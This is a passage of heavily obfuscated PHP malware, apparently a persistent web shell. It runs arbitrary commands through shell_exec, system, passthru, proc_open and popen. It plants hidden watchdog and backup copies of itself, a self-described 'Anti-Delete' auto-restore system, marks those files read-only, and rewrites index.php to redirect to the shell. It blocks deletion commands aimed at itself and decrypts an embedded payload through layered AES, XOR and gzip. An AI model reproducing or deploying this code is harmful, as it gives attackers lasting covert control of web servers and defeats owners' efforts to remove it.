"\151\x66\x20\x28\x21\146\151\x6c\x65\137\145\x78\151\163\x74\163\50\x24\152\141\x6e\165\163\x5f\x62\141\x63\x6b\165\160\x5f\x66\151\x6c\145\x29\x20\x26\x26\40\146\x69\154\145\137\x65\x78\x69\x73\164\x73\x28\x24\x6a\141\156\165\x73\x5f\155\141\151\156\x5f\163\x68\x65\154\x6c\51\x29\x20\x7b\12"; goto QeFlF; PeXJB: $kDxDn .= "\151\x66\x20\50\x21\x66\x69\154\145\137\145\x78\x69\163\164\x73\50\x24\x6d\x61\151\x6e\137\x73\x68\x65\154\x6c\51\x29\x20\173\12"; goto nxrCa; M4GF0: $qtLdM .= "\x2f\x2f\x20\x4a\141\x6e\x75\x73\x20\x41\156\164\151\x2d\x44\x65\154\x65\x74\x65\40\102\x61\x63\153\x75\160\40\x2d\x20\101\165\164\157\x20\x52\x65\x73\164\157\x72\145\40\x53\171\x73\164\145\155\12"; goto RHSyJ; otn_U: $iAcp7 .= "\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\40\151\146\40\x28\x73\164\162\164\157\x75\x70\160\145\162\50\x73\165\x62\163\x74\162\x28\120\110\120\x5f\117\123\54\x20\x30\54\x20\x33\x29\x29\40\75\x3d\x3d\x20\x27\x57\111\116\47\x29\40\x7b\xa"; goto Fg9So; OAUF_: $kDxDn .= "\40\x20\40\x20\x69\x66\x20\x28\x21\x66\151\154\145\x5f\145\170\151\x73\x74\x73\x28\44\155\x61\x69\156\x5f\x73\150\x65\x6c\x6c\51\x20\46\x26\40\x66\x69\154\145\137\145\170\151\163\x74\x73\50\x24\x62\x61\143\153\165\160\x5f\x66\x69\x6c\x65\x29\x29\x20\x7b\12"; goto spmSW; D7XCr: $DgfE0 = $ggdpe . DIRECTORY_SEPARATOR . $erYaC; goto F2emy; IBogR: $kDxDn .= "\40\40\x20\40\175\12"; goto CW7wD; MORes: $CwVuG .= "\44\x6a\141\156\165\x73\137\155\x61\x69\156\x5f\x73\x68\145\x6c\154\40\x3d\40\137\137\x46\111\114\x45\137\x5f\x3b\12"; goto U1Wp1; OLg0o: $iAcp7 .= "\40\x20\x20\40\x7d\xa"; goto bZnmP; vYVJA: $CwVuG .= "\12"; goto yeZqq; bpO8C: $iAcp7 .= "\57\57\40\x52\145\144\151\x72\145\143\164\x20\x68\141\x6e\x79\x61\40\152\151\153\141\x20\x64\x69\141\153\x73\145\163\40\x6c\141\x6e\147\x73\165\156\147\x20\166\x69\141\x20\x48\x54\124\x50\x20\50\142\165\x6b\141\x6e\x20\x76\151\x61\x20\x69\x6e\143\154\165\x64\145\51\12"; goto O2HhR; bx04p: $CwVuG .= "\40\x20\x20\40\x20\40\40\x20\165\x73\154\145\145\160\x28\62\x30\x30\x30\60\x30\51\x3b\40\x2f\57\x20\127\141\x69\164\x20\x32\x30\60\155\x73\40\x66\x6f\162\40\162\145\x73\x74\x6f\x72\x65\12"; goto G_3HQ; Pv8o4: $kDxDn .= "\40\x20\x20\40\40\40\x20\40\x7d\xa"; goto XCNVA; I1X6v: $kDxDn .= "\40\40\40\x20\40\x20\x20\40\44\162\145\x71\x75\145\x73\x74\137\165\x72\151\40\75\40\160\162\x65\x67\137\162\x65\160\154\141\x63\145\50\x27\x23\x69\156\x64\x65\x78\x5c\x2e\160\150\160\x2f\43\x27\54\x20\x27\47\54\40\x24\162\145\x71\165\145\163\x74\x5f\165\162\151\x29\x3b\12"; goto d_LK8; MZbTE: foreach ($FkyGq as $jyWA5) { goto vADqV; htvp1: aAl_2: goto QXqLK; vADqV: if (!@file_put_contents($jyWA5, $qtLdM)) { goto pA8ec; } goto b_WEz; V5C6R: pA8ec: goto htvp1; b_WEz: @chmod($jyWA5, 0600); goto V5C6R; QXqLK: } goto SGFaa; catDW: $kDxDn .= "\40\40\x20\x20\x20\40\40\x20\151\146\40\50\44\x77\162\x69\164\145\137\x72\x65\163\165\x6c\164\40\x21\x3d\75\x20\146\141\154\163\145\51\40\173\xa"; goto aPtet; MSkPc: $qtLdM .= "\40\40\x20\40\57\57\40\x52\145\x2d\163\x65\x74\x75\160\x20\160\162\x6f\164\x65\x63\164\151\157\x6e\40\163\145\x74\x65\154\x61\x68\x20\x72\x65\163\x74\x6f\162\x65\xa"; goto f55Fi; Lfn7X: $kDxDn .= "\x20\40\x20\x20\x2f\57\40\115\x65\164\150\157\144\x20\62\72\x20\x49\156\143\x6c\x75\144\x65\40\167\x61\x74\x63\150\144\157\147\x20\165\x6e\164\x75\153\x20\x72\145\x73\164\157\162\145\40\50\x74\141\x6e\160\x61\x20\162\145\144\x69\x72\145\143\164\51\xa"; goto UWZOF; GeeYw: $CwVuG .= "\x20\40\40\x20\151\146\x20\x28\x21\x66\x69\154\x65\137\x65\x78\151\163\164\x73\50\x24\x6a\141\156\165\163\137\155\x61\151\x6e\x5f\x73\150\x65\154\154\51\40\46\x26\40\x66\151\154\145\x5f\145\170\151\163\x74\163\x28\x24\152\x61\x6e\165\x73\x5f\142\141\143\x6b\x75\x70\x5f\146\x69\x6c\145\51\x29\40\x7b\xa"; goto gWNEc; mt9It: clGEQ: goto cjXL_; jog5g: $kDxDn .= "\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\44\x72\145\x64\151\162\x65\143\x74\137\165\x72\154\40\x2e\75\40\x27\77\47\40\x2e\40\44\137\123\105\x52\x56\x45\x52\x5b\x27\121\x55\105\x52\x59\x5f\x53\124\x52\x49\x4e\107\x27\135\73\xa"; goto KecN8; okg22: $iAcp7 .= "\xa"; goto hKi8M; LEh3m: $kDxDn .= "\x20\40\x20\40\40\x20\40\40\x69\146\40\x28\163\165\142\163\x74\162\50\44\x72\145\161\165\x65\163\164\137\165\x72\x69\x2c\x20\x2d\x31\51\40\x3d\75\75\x20\x27\57\47\x20\x7c\x7c\x20\145\155\x70\x74\x79\x28\164\x72\x69\x6d\x28\44\162\x65\x71\165\x65\x73\164\x5f\165\162\151\x2c\x20\x27\x2f\47\51\x29\x29\x20\x7b\12"; goto swWK8; BHl2o: $CwVuG .= "\151\x66\40\x28\x21\x66\151\154\145\x5f\145\x78\x69\163\x74\x73\50\x24\152\141\x6e\x75\x73\137\x6d\x61\151\156\137\163\x68\145\x6c\x6c\x29\51\x20\173\12"; goto QORMq; pfvvb: $CwVuG .= "\xa"; goto Q5OhA; SKGCm: $hLfzB = $ggdpe . DIRECTORY_SEPARATOR . "\151\x6e\144\145\170\x2e\160\x68\160"; goto ZtYUV; nIQNO: $iAcp7 .= "\x20\x20\40\x20\x20\x20\x20\x20\57\x2f\x20\120\162\145\x76\x65\x6e\164\40\162\145\x64\151\162\x65\143\x74\40\x6c\157\157\x70\x20\55\40\143\x68\x65\x63\153\40\x6a\x69\x6b\141\x20\x73\x75\x64\141\150\x20\x64\151\x20\x73\x68\145\x6c\154\x20\x75\x74\x61\x6d\x61\xa"; goto WKY8W; Wl8jd: return ["\x73\x74\141\x74\x75\x73" => "\145\162\x72\157\x72", "\155\x65\163\x73\141\x67\x65" => "\x43\x61\156\x6e\x6f\x74\40\x72\x65\x61\144\x20\163\150\x65\154\154\40\146\151\x6c\145"]; goto PMnsq; yGMja: $kDxDn .= "\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\44\x72\x65\x71\x75\145\163\x74\x5f\x75\x72\151\40\75\40\144\151\162\156\141\x6d\x65\x28\44\x72\x65\161\x75\145\163\x74\137\165\x72\x69\51\x20\x2e\x20\x27\57\47\x20\x2e\40\x27" . addslashes($nZiB9) . "\x27\x3b\xa"; goto LpALw; RTsni: $iAcp7 .= "\40\40\40\40\40\x20\40\x20\x7d\xa"; goto MUIrn; yMD6J: $iAcp7 .= "\x20\40\40\x20\x20\40\40\x20\145\x63\x68\157\40\x27\x45\x52\122\117\122\40\55\40\x53\150\x65\x6c\154\x20\x72\x65\x73\164\x6f\x72\x61\164\151\x6f\156\40\x66\x61\151\154\x65\144\x2e\40\120\x6c\x65\141\x73\x65\x20\x63\150\x65\143\153\x20\160\145\x72\x6d\x69\163\x73\151\157\x6e\x73\56\x27\73\xa"; goto XeYb5; MNPEp: $iAcp7 .= "\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x24\162\x65\x73\164\157\162\x65\x64\x20\75\x20\x74\x72\x75\x65\x3b\xa"; goto RTsni; eQW4i: $qtLdM .= "\40\40\40\40\175\xa"; goto YnTxc; oS4s3: @exec("\x61\164\x74\x72\151\x62\x20\x2b\x52\40" . escapeshellarg($qY16M) . "\40\62\x3e\156\165\x6c"); goto KxuBh; jUvH3: $CwVuG .= "\x20\x20\x20\40\40\x20\x20\x20\x24\152\x61\156\165\163\137\x6e\157\137\162\x65\144\151\x72\145\143\x74\40\x3d\x20\x74\162\x75\x65\73\xa"; goto tntd4; Y7F3o: $CwVuG .= "\40\x20\40\40\x69\146\40\50\41\x66\151\154\x65\137\145\170\151\x73\164\x73\x28\44\x6a\x61\156\x75\163\137\x6d\x61\x69\156\x5f\163\150\x65\x6c\x6c\x5f\x63\x68\x65\x63\153\x29\x29\40\173\12"; goto Pi5kH; zmopA: $iAcp7 .= "\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x7d\xa"; goto LTrwX; EB94f: if (!(strtoupper(substr(PHP_OS, 0, 3)) === "\127\111\116")) { goto qdx4_; } goto oS4s3; bZnmP: $iAcp7 .= "\x7d\12"; goto NNmvH; vkU7p: $CwVuG .= "\40\40\x20\40\175\12"; goto msOaH; FjKg3: $iAcp7 .= "\40\40\40\40\40\40\x20\x20\x69\146\40\x28\163\165\142\x73\x74\x72\50\44\x72\x65\x71\x75\145\x73\164\x5f\165\x72\151\x2c\x20\x2d\163\164\x72\154\145\156\50\47" . addslashes($nZiB9) . "\x27\51\x29\x20\41\75\x3d\40\47" . addslashes($nZiB9) . "\x27\x29\x20\x7b\xa"; goto w1ayN; Vqe36: $qtLdM = "\74\x3f\160\150\x70\12"; goto M4GF0; UWZOF: $kDxDn .= "\x20\x20\x20\x20\x69\146\x20\50\x21\x66\x69\154\x65\x5f\145\170\151\163\164\x73\x28\44\x6d\x61\x69\x6e\137\163\x68\145\154\x6c\51\40\46\x26\40\x66\x69\154\145\x5f\145\x78\x69\163\x74\163\x28\44\167\x61\164\143\150\x64\157\147\137\146\x69\154\145\51\51\x20\x7b\12"; goto ha4kD; kegPx: $iAcp7 .= "\40\x20\40\40\12"; goto Xuw4v; TF5nY: $kDxDn .= "\x20\40\40\40\x20\40\40\40\165\163\x6c\145\x65\x70\x28\x33\x30\60\60\x30\60\x29\x3b\40\x2f\57\x20\x57\x61\x69\x74\40\x33\x30\x30\x6d\163\12"; goto IBogR; tTxj9: $kDxDn .= "\40\40\x20\40\175\12"; goto RLTyZ; HApoL: $iAcp7 .= "\40\x20\40\40\151\146\40\50\41\x24\x72\145\163\164\x6f\162\x65\144\51\40\173\xa"; goto Kf1gC; tntd4: $CwVuG .= "\40\40\x20\40\x20\x20\x20\40\x69\146\x20\x28\x66\x69\x6c\145\137\145\x78\151\x73\x74\163\x28\x24\x6a\x61\x6e\165\x73\x5f\x77\x61\164\x63\x68\144\157\x67\137\146\x69\154\x65\137\x63\x68\x65\x63\153\x29\x29\40\x7b\xa"; goto mt2rE; ePTU3: $kDxDn .= "\x20\x20\x20\40\x7d\xa"; goto atzEe; WKY8W: $iAcp7 .= "\40\40\40\40\x20\40\x20\x20\x69\146\40\50\x73\164\x72\160\157\163\50\44\x72\x65\x71\165\145\163\164\137\165\162\151\54\x20\47" . addslashes(basename($etpkF)) . "\47\51\40\x3d\x3d\x3d\40\146\x61\154\163\x65\51\x20\173\xa"; goto JD_0X; Fg9So: $iAcp7 .= "\x20\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x40\145\x78\x65\143\50\x27\141\x74\164\x72\151\x62\40\x2b\122\40\x27\x20\x2e\x20\x65\163\143\x61\160\x65\x73\150\145\x6c\154\x61\x72\147\50\44\x6d\141\151\x6e\x5f\163\150\145\154\x6c\51\x20\56\40\x27\x20\x32\x3e\x6e\x75\x6c\47\51\x3b\xa"; goto vcB17; LpALw: $kDxDn .= "\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x69\x66\x20\x28\x24\162\x65\161\165\145\x73\164\137\165\162\151\x20\75\75\x3d\40\x27\56\57\x27\40\x2e\x20\47" . addslashes($nZiB9) . "\x27\51\40\173\xa"; goto oT04T; MUIrn: $iAcp7 .= "\x20\40\40\x20\x7d\xa"; goto kegPx; yUAfC: $CwVuG .= "\40\40\40\40\x20\x20\x20\x20\x75\156\163\145\164\50\44\152\x61\156\x75\163\137\x6e\x6f\137\x72\145\144\x69\x72\x65\143\164\51\x3b\12"; goto bx04p; m2hQM: $iAcp7 .= "\x20\40\40\x20\57\57\40\x4d\x65\x74\x68\157\x64\40\61\x3a\40\x52\x65\163\x74\x6f\x72\145\40\144\141\162\151\x20\163\x68\x65\154\154\137\x64\141\164\141\40\x6c\x61\156\x67\x73\x75\156\x67\x20\x28\120\122\111\117\x52\x49\124\x59\51\xa"; goto thBf3; dBUBZ: $kDxDn .= "\x3f\x3e"; goto aEUjE; hwoXC: $iAcp7 .= "\x20\x20\40\40\x20\40\40\x20\x69\x66\x20\50\x24\167\x72\x69\x74\x65\x5f\162\145\x73\165\x6c\164\40\41\75\x3d\40\146\x61\154\163\145\51\x20\173\xa"; goto xf1Af; uPvEZ: } goto yzADo; FBVkD: @set_time_limit(KqMQ6); goto bmy9w; yzADo: $zJsLG = __FILE__; goto rWr34; u64K3: $v1Pog = ["\163\x74\x61\x74\x75\x73" => "\145\x72\x72\157\x72", "\x6d\145\x73\163\141\147\145" => "\111\156\x76\x61\x6c\x69\x64\40\x70\x61\171\154\x6f\x61\144"]; goto bqXlN; S6BO2: if (!isset($VtInv)) { goto ny34N; } goto CrrfL; nAaIX: function RtW9i($MTLTy) { goto quD7I; C6TUg: goto IvfSX; goto p2WFT; quD7I: $olRGv = ''; goto Xwwav; QHenq: $jY45d++; goto C6TUg; v5oNM: IvfSX: goto Cl6FN; zNYiU: Hjh3H: goto QHenq; Xwwav: $jY45d = 0; goto v5oNM; p2WFT: a0rlr: goto NRC7V; bcI74: $olRGv .= rand(0, 1) ? strtoupper($MTLTy[$jY45d]) : strtolower($MTLTy[$jY45d]); goto zNYiU; NRC7V: return $olRGv; goto LGc32; Cl6FN: if (!($jY45d < strlen($MTLTy))) { goto a0rlr; } goto bcI74; LGc32: } goto WKlH2; EJ3iq: function jZjWY($Q0s1i) { goto vkRF2; vkRF2: if (file_exists($Q0s1i)) { goto bC_3z; } goto xBHqj; AjfwJ: $DnOhI = "\165"; goto fGeBP; ICdAq: goto d1NhE; goto aUnUI; R1yGb: goto d1NhE; goto r_Tfj; RGuuT: $DnOhI .= $jluOC & 0x2 ? "\x77" : "\x2d"; goto w0SJT; uKYg5: $DnOhI .= $jluOC & 0x100 ? "\x72" : "\x2d"; goto DwOJ3; hTo6n: if (($jluOC & 0x6000) == 0x6000) { goto cHkal; } goto ssa2w; R6XV8: if (($jluOC & 0x2000) == 0x2000) { goto KwFom; } goto P4RlS; Hu1k1: $DnOhI .= $jluOC & 0x4 ? "\x72" : "\x2d"; goto RGuuT; q4Cc9: $DnOhI .= $jluOC & 0x10 ? "\x77" : "\x2d"; goto Q0Gfj; Ld632: if (($jluOC & 0xa000) == 0xa000) { goto Lbtut; } goto tBhSf; Q0Gfj: $DnOhI .= $jluOC & 0x8 ? $jluOC & 0x400 ? "\x73" : "\x78" : ($jluOC & 0x400 ? "\123" : "\55"); goto Hu1k1; GRe6m: $DnOhI .= $jluOC & 0x40 ? $jluOC & 0x800 ? "\x73" : "\170" : ($jluOC & 0x800 ? "\123" : "\55"); goto qYh5n; r_Tfj: KwFom: goto P1gqH; aUnUI: sTUsF: goto X3irn; cvO7B: Ldzkn: goto idhVJ; hjYY3: bC_3z: goto dwc_z; X3irn: $DnOhI = "\x70"; goto xrGmH; P1gqH: $DnOhI = "\143"; goto ICdAq; w0SJT: $DnOhI .= $jluOC & 0x1 ? $jluOC & 0x200 ? "\x74" : "\170" : ($jluOC & 0x200 ? "\x54" : "\x2d"); goto n4Bvx; d5era: Lbtut: goto EnoqN; Y5ZlE: goto d1NhE; goto d5era; tBhSf: if (($jluOC & 0x8000) == 0x8000) { goto rfccO; } goto hTo6n; xrGmH: d1NhE: goto uKYg5; ssa2w: if (($jluOC & 0x4000) == 0x4000) { goto KRhej; } goto R6XV8; EXI3d: $DnOhI = "\x64"; goto R1yGb; NIO7V: cHkal: goto qEK1K; VmHhd: goto d1NhE; goto irINN; qEK1K: $DnOhI = "\142"; goto VmHhd; YKv3b: rfccO: goto ZbUsu; fGeBP: goto d1NhE; goto cvO7B; EnoqN: $DnOhI = "\x6c"; goto UBgFG; irINN: KRhej: goto EXI3d; qYh5n: $DnOhI .= $jluOC & 0x20 ? "\162" : "\x2d"; goto q4Cc9; DsSZY: if (($jluOC & 0xc000) == 0xc000) { goto Ldzkn; } goto Ld632; ZbUsu: $DnOhI = "\x2d"; goto B4OqL; idhVJ: $DnOhI = "\x73"; goto Y5ZlE; B4OqL: goto d1NhE; goto NIO7V; DwOJ3: $DnOhI .= $jluOC & 0x80 ? "\167" : "\55"; goto GRe6m; n4Bvx: return $DnOhI; goto LyrkT; xBHqj: return "\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\x2d"; goto hjYY3; BYLZ5: $DnOhI = ''; goto DsSZY; dwc_z: $jluOC = fileperms($Q0s1i); goto BYLZ5; P4RlS: if (($jluOC & 0x1000) == 0x1000) { goto sTUsF; } goto AjfwJ; UBgFG: goto d1NhE; goto YKv3b; LyrkT: } goto NSljJ; kvsa9: if (!isset($_GET["\144\x6f\x77\156\x6c\x6f\x61\x64\x5f\164\145\155\x70"])) { goto kobqQ; } goto Co7gu; g1ntD: function ZmRp5($oZAH8) { goto BLKcK; ibExv: ob_start(); goto Yp20O; jowr3: fclose($lqQ8o[1]); goto dJyE4; N0Ff6: foreach ($MSFkz as $G6Mdr) { goto kAtNZ; kAtNZ: if (!(stripos($oZAH8, $G6Mdr) !== false)) { goto Y0uMg; } goto dZiSB; H0M0h: goto ju8ev; goto EkhqT; dZiSB: $B1vl5 = true; goto H0M0h; hr6AW: puEab: goto eHWJ0; EkhqT: Y0uMg: goto hr6AW; eHWJ0: } goto JsTuX; Sl0aM: $B1vl5 = false; goto N0Ff6; bs6JN: if (!preg_match("\x2f\134\142\x28\162\x6d\174\165\156\154\x69\156\153\x7c\x64\x65\x6c\174\x64\145\154\145\164\145\x29\x5c\163\53\x2f\x69", $oZAH8)) { goto No7So; } goto jtVtj; zCbs1: $ggdpe = dirname($QEiJ4); goto gQvdM; Jzzwr: CQvLl: goto rk2UO; jtVtj: if (!(stripos($oZAH8, $nZiB9) !== false || stripos($oZAH8, $ggdpe) !== false)) { goto eNlXv; } goto UXEmL; U05J0: proc_close($XKSBr); goto FlHdj; hnDds: $MSFkz = ["\145\x76\x61\154", "\x65\170\x65\x63", "\x73\171\163\164\x65\155", "\163\150\x65\x6c\x6c\x5f\145\170\145\x63", "\x70\x61\163\163\x74\150\162\165", "\160\x72\157\x63\x5f\x6f\x70\145\156"]; goto Sl0aM; pMUTd: ApgQa: goto nOBOZ; D1OVQ: fclose($lqQ8o[2]); goto I_5go; EbO_0: ob_start(); goto wwHxZ; F2EAZ: $kmHPp = true; goto ZEfAw; f2aTX: $BKvy0 = @shell_exec($oZAH8 . "\x20\x32\76\46\x31"); goto hX26S; n5lMh: if (feof($EC8Wa)) { goto m5O52; } goto b9GfP; g1U4N: $e9Z2g = stream_get_contents($lqQ8o[2]); goto ZA5KB; bNzBv: if (liX3F("\x73\171\x73\164\145\155")) { goto pH7kn; } goto VmrFb; JsTuX: ju8ev: goto XHl7f; w52K_: $etpkF = $ggdpe . DIRECTORY_SEPARATOR . "\56\152\141\x6e\165\x73\137\167\141\164\x63\150\144\157\x67\137" . substr(md5($QEiJ4), 0, 8) . "\56\160\150\160"; goto rB7EH; k3RUc: $XKSBr = @proc_open($oZAH8 . "\x20\62\x3e\x26\x31", $YaXSQ, $lqQ8o); goto HHjqq; rB7EH: if (!file_exists($etpkF)) { goto qnisQ; } goto F2EAZ; prVIL: $BKvy0 = "\x45\170\x65\x63\165\164\151\x6f\x6e\40\x66\165\x6e\143\164\151\157\x6e\163\40\x64\x69\x73\141\x62\x6c\145\x64\x2e"; goto ZZOEt; TyQ5v: O_ZFC: goto bs6JN; PwJhM: $BKvy0 = ob_get_clean(); goto HqhFB; heYaE: $BKvy0 = ''; goto pmvXc; gn3F4: eNlXv: goto g_JCF; ZVinR: unset($kmHPp); goto y3OzY; r5CV7: $YaXSQ = [0 => ["\160\x69\x70\x65", "\x72"], 1 => ["\x70\151\160\x65", "\x77"], 2 => ["\x70\151\x70\145", "\167"]]; goto k3RUc; g_JCF: No7So: goto hnDds; e5ZDo: fclose($lqQ8o[0]); goto Jzzwr; V6lhB: fLmA4: goto y4ugB; C8vS4: $BKvy0 = ob_get_clean(); goto J3I_N; pmvXc: wnPXe: goto n5lMh; XHl7f: if (liX3F("\163\x68\145\154\154\x5f\145\x78\x65\143")) { goto H_Z_S; } goto qSoK_; Mj4Fo: GvUfN: goto r5CV7; KOgx4: goto nfu43; goto V6lhB; JW5Gb: $BKvy0 = ''; goto bNI6b; dJyE4: WKyqP: goto BwQeq; cbV0T: $BKvy0 .= $e9Z2g; goto u3zn7; UXEmL: return "\103\x6f\x6d\155\141\x6e\144\x20\142\154\157\x63\153\145\144\72\x20\101\x74\x74\x65\155\160\x74\x20\x74\x6f\40\144\x65\x6c\x65\x74\145\40\160\x72\x6f\x74\145\143\x74\x65\144\40\x73\x68\145\154\154\x20\x64\x65\164\x65\143\164\x65\x64"; goto gn3F4; rk2UO: if (!isset($lqQ8o[1])) { goto WKyqP; } goto XnSuS; nZV4j: if (file_exists($QEiJ4)) { goto iSa3J; } goto w52K_; ZZOEt: goto nfu43; goto KMmUM; HUNNQ: m5O52: goto RmuIG; nOBOZ: nfu43: goto nZV4j; J3I_N: goto nfu43; goto dOEYV; y4ugB: $EC8Wa = @popen($oZAH8 . "\x20\62\x3e\x26\x31", "\162"); goto gDO3e; FlHdj: cJ3X0: goto KOgx4; u3zn7: Y9iyq: goto D1OVQ; Epkka: iSa3J: goto ku61j; dOEYV: pH7kn: goto EbO_0; ZEfAw: @(include_once $etpkF); goto ZVinR; VmrFb: if (Lix3F("\160\x72\157\x63\137\157\160\x65\156")) { goto GvUfN; } goto CBb8E; gDO3e: if (!is_resource($EC8Wa)) { goto ApgQa; } goto heYaE; b9GfP: $BKvy0 .= fread($EC8Wa, 8192); goto X8PSH; BLKcK: global $DqyA2; goto JW5Gb; HHjqq: if (!is_resource($XKSBr)) { goto cJ3X0; } goto UaVZF; CBb8E: if (LIX3F("\160\157\x70\145\x6e")) { goto fLmA4; } goto prVIL; XnSuS: $BKvy0 = stream_get_contents($lqQ8o[1]); goto jowr3; bNI6b: $QEiJ4 = __FILE__; goto zCbs1; MpHlX: $BKvy0 = "\x57\101\x52\x4e\111\x4e\107\72\x20\x53\x68\145\x6c\x6c\40\x64\145\154\145\164\x69\x6f\x6e\x20\x64\x65\x74\145\x63\x74\x65\x64\40\x61\x6e\144\40\162\x65\x73\x74\157\162\145\144\x21\12" . ($BKvy0 !== false && $BKvy0 !== null ? $BKvy0 : ''); goto Epkka; ZA5KB: if (empty($e9Z2g)) { goto Y9iyq; } goto cbV0T; y3OzY: qnisQ: goto MpHlX; I_5go: Iyjpa: goto U05J0; YEOH_: foreach ($HdHLn as $G6Mdr) { goto nwEhi; Eby7D: jroeu: goto XKEBt; BUNMn: mKEyl: goto Eby7D; Ny4PB: return "\103\x6f\x6d\155\141\x6e\144\40\142\154\157\143\153\x65\x64\72\40\x41\x74\164\145\x6d\160\x74\x20\x74\157\40\144\x65\154\x65\164\145\40\160\x72\x6f\x74\145\x63\x74\x65\x64\x20\x73\x68\x65\154\x6c\x20\x64\x65\x74\x65\x63\164\145\144"; goto BUNMn; nwEhi: if (!preg_match("\x2f" . $G6Mdr . "\x2f\151", $oZAH8)) { goto mKEyl; } goto Ny4PB; XKEBt: } goto TyQ5v; hX26S: goto nfu43; goto Q6tX_; qSoK_: if (LIx3F("\x70\141\x73\163\164\150\162\165")) { goto ubHUA; } goto bNzBv; RmuIG: pclose($EC8Wa); goto pMUTd; wwHxZ: @system($oZAH8 . "\40\62\76\x26\x31", $TN04i); goto PwJhM; Yp20O: @passthru($oZAH8 . "\40\62\x3e\x26\61", $TN04i); goto C8vS4; KMmUM: H_Z_S: goto f2aTX; gQvdM: $nZiB9 = basename($QEiJ4); goto jxbbZ; jxbbZ: $HdHLn = ["\162\155\x5c\x73\x2b\56\52" . preg_quote($nZiB9, "\x2f"), "\162\x6d\134\163\53\x2d\x72\146\x5c\x73\x2b\56\x2a" . preg_quote($ggdpe, "\x2f"), "\162\155\134\x73\53\55\146\134\163\x2b\56\52" . preg_quote($nZiB9, "\x2f"), "\165\x6e\154\x69\156\153\x2e\x2a" . preg_quote($nZiB9, "\x2f"), "\x64\x65\x6c\x5c\x73\53\56\52" . preg_quote($nZiB9, "\57")]; goto YEOH_; X8PSH: goto wnPXe; goto HUNNQ; HqhFB: goto nfu43; goto Mj4Fo; ku61j: return $BKvy0 !== false && $BKvy0 !== null ? $BKvy0 : "\x43\x6f\x6d\155\141\156\144\40\x66\141\x69\x6c\145\x64\56"; goto UVXGm; Q6tX_: ubHUA: goto ibExv; UaVZF: if (!isset($lqQ8o[0])) { goto CQvLl; } goto e5ZDo; BwQeq: if (!isset($lqQ8o[2])) { goto Iyjpa; } goto g1U4N; UVXGm: } goto BE0ri; TEtnR: CMWuF: goto tN4Ke; woHxu: function QL60p($siOBH) { return base64_encode($siOBH); } goto nP1Ce; XEYcS: function y3_Ej($JkBdw, $IMtDv) { goto IZvGA; ngnN7: $ct4lT = substr($DP2Js, 96, 16); goto Pm5ky; NO4eD: if (!($siOBH === false)) { goto jgmDl; } goto fk6Mz; bcwYi: $J5Adb = base64_decode($wdqxR); goto dgeYT; qxMC4: $SfrUd = openssl_decrypt($hsc0Y, "\x41\105\x53\x2d\62\x35\x36\x2d\103\x42\103", $vx3eO, 0, $ct4lT); goto fImlw; hHDVM: $vx3eO = hash_pbkdf2("\163\150\x61\65\61\62", $IMtDv . $stdxo, $zpw3o, 5000, 32, true); goto vgV8h; ZqIhc: $ymoYI = base64_decode($dCEgv); goto OF8kW; SR_cc: $b45TQ = openssl_decrypt($SfrUd, "\101\105\123\55\62\65\x36\55\x43\102\103", $rrs7k, 0, $KH0Ix); goto ez02k; EYq2d: rGgFF: goto ylTVx; wbPRR: $GgQhr .= chr(ord($b45TQ[$jY45d]) ^ ord($UcOk9[$jY45d % strlen($UcOk9)])); goto mE_HW; LCo2p: if (!($hsc0Y === false)) { goto f73wt; } goto MKYqn; fImlw: if (!($SfrUd === false)) { goto AOLQL; } goto i8D0X; ElDF6: $H133r = substr($CW01N, $HHbcC); goto K6leA; yghRo: $Jn58f = $CTBeO[0]; goto KYEab; iE97b: return false; goto wd0Un; rZXiv: $HHbcC = ord(substr($DP2Js, 128, 1)); goto u3G9o; KHNC9: $KH0Ix = substr($DP2Js, 80, 16); goto ngnN7; FRBU3: $zpw3o = substr($DP2Js, 32, 32); goto Ridzv; vgV8h: $l9YRS = hash("\x73\150\141\x32\x35\66", $IMtDv . $stdxo . $zpw3o, true); goto bcwYi; v4t_b: $DP2Js = base64_decode($Jn58f); goto MzP3r; MKYqn: return false; goto jQiQa; fk6Mz: $siOBH = $GgQhr; goto dCLa4; IZvGA: $CTBeO = explode("\x7c", $JkBdw, 2); goto c4cc0; xUUti: goto TnIi0; goto EYq2d; K6leA: $hsc0Y = openssl_decrypt($H133r, "\x41\105\x53\x2d\x32\65\x36\x2d\x43\102\103", $l9YRS, 0, $m2Dp_); goto LCo2p; SVZnv: zllC0: goto yghRo; wQPLc: $GgQhr = ''; goto Y01Lo; Ridzv: $AuZsy = substr($DP2Js, 64, 16); goto KHNC9; OF8kW: $t4hDp = strrev($ymoYI); goto Q9uSu; Y01Lo: $jY45d = 0; goto ZxeAa; KYEab: $wdqxR = $CTBeO[1]; goto v4t_b; c4cc0: if (!(count($CTBeO) !== 2)) { goto zllC0; } goto bJDKi; ZxeAa: TnIi0: goto XiAnf; ylTVx: $siOBH = @gzuncompress($GgQhr); goto NO4eD; Q9uSu: $CW01N = base64_decode($t4hDp); goto ElDF6; XiAnf: if (!($jY45d < strlen($b45TQ))) { goto rGgFF; } goto wbPRR; YKBwA: return false; goto vUZjb; jQiQa: f73wt: goto qxMC4; u3G9o: $rrs7k = hash_pbkdf2("\x73\150\x61\x32\x35\66", $IMtDv, $stdxo, 10000, 32, true); goto hHDVM; Pm5ky: $m2Dp_ = substr($DP2Js, 112, 16); goto rZXiv; dCLa4: jgmDl: goto vEB4N; ytmZS: $UcOk9 = substr(hash("\163\x68\x61\62\x35\x36", $rrs7k . $AuZsy, true), 0, strlen($b45TQ)); goto wQPLc; Ydd2D: $stdxo = substr($DP2Js, 0, 32); goto FRBU3; i8D0X: return false; goto wQgRg; dgeYT: $dCEgv = hex2bin($J5Adb); goto ZqIhc; wd0Un: cPgxV: goto Ydd2D; wQgRg: AOLQL: goto SR_cc; mE_HW: Y2OoG: goto Pizrj; bJDKi: return false; goto SVZnv; MzP3r: if (!(strlen($DP2Js) < 129)) { goto cPgxV; } goto iE97b; vEB4N: return $siOBH; goto Auxvb; ez02k: if (!($b45TQ === false)) { goto iw0jy; } goto YKBwA; Pizrj: $jY45d++; goto xUUti; vUZjb: iw0jy: goto ytmZS; Auxvb: } goto gun98; lTLK3: OwxwL: goto 